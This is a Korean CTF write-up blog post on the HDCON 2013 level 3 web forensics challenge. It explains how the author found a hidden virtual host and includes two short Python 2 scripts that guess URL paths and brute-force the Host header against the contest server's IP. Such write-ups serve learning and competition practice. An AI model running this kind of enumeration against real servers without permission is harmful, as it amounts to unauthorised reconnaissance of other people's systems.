본문 바로가기

Games/CTF

HDCON 2013 level3

웹기반의 Forensic 문제이다.


Tistory 블로그 형태의 사이트가 주어지는데 html 페이지로 만들어진 껍대기뿐이고 아무런 기능도 없다. 한참을 삽질하며 이것저것 확인하였는데, 정말 아무것도 없다.  단순히 html 페이지 상에서 몇몇 외부 js/css 를 부르고 있을 뿐이다. 대회 중간에 "Virtual Host Directory Listing" 이라는 힌트가 나왔다. 처음에는 Directory Listing 까지만 듣고 URL 게싱을 시작했다 Unix 딕셔너리 기반으로 모든 디렉토리를 전부 검색했는데 수확이 없었다. 



root@ubuntu:/var/www/hdcon# cat 3.py

import urllib, urllib2, time, random, sys, os


url = 'http://118.107.172.213:8888/'+sys.argv[1]

print sys.argv[1]

request = urllib2.Request(url)

response = urllib2.urlopen(request)

data = response.read()

print data


root@ubuntu:/var/www/hdcon# ls




그런데 그냥 Directory Listing 이 아니라 Virtual Host Directory Listing 인점을 생각해서 동일한 아파치 환경을 만들어놓고 여러 테스트들을 했다. 공부를 조금 하고 조사해보니 Name Based Virtual Hosting 이 되고있으며 아마도 특정 Host 이름에 대한 Virtual Host Directive 가 아파치 설정에 존재해서 홈디렉토리가 다를것으로 추정되었다. 그래서 이번에는 Host 헤더에 딕셔너리를 적용했다. 




root@ubuntu:/var/www/hdcon# cat 3-2.py

import httplib, urllib


headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}

headers['Host'] = ''


fd = open('words.txt')

data = fd.read()

word = data.split('\n')


i=0

while True:

headers['Host'] = word[i]

try:

conn = httplib.HTTPConnection("118.107.172.213:8888")

conn.request("GET", "/icons/", "", headers)

response = conn.getresponse()

if response.status != 403:

# print response.status, response.reason

data = response.read()

print data

i += 1

print 'guess - '+str(i)

except:

print 'retry!!'

print 'end'

conn.close()



딕셔너리상으로는 수확이 없었으나 결론은 localhost 였다.  아무튼 Host 이름을 통해 접근한 또다른 홈디렉토리에는 zip 파일이 존재했는데 이것을 다운받아보니 php 파일들이 존재했고 특별히 취약점 찾을것 없이 flag 파일을 다운받기 위한 경로를 알아낼 수 있었다.





'Games > CTF' 카테고리의 다른 글

HDCON 2013 level5  (8) 2013.06.11
HDCON 2013 level4  (0) 2013.06.11
HDCON 2013 level1  (0) 2013.06.11
SECUINSIDE 2013 reader  (0) 2013.05.28
SECUINSIDE 2013 127.0.0.1  (2) 2013.05.28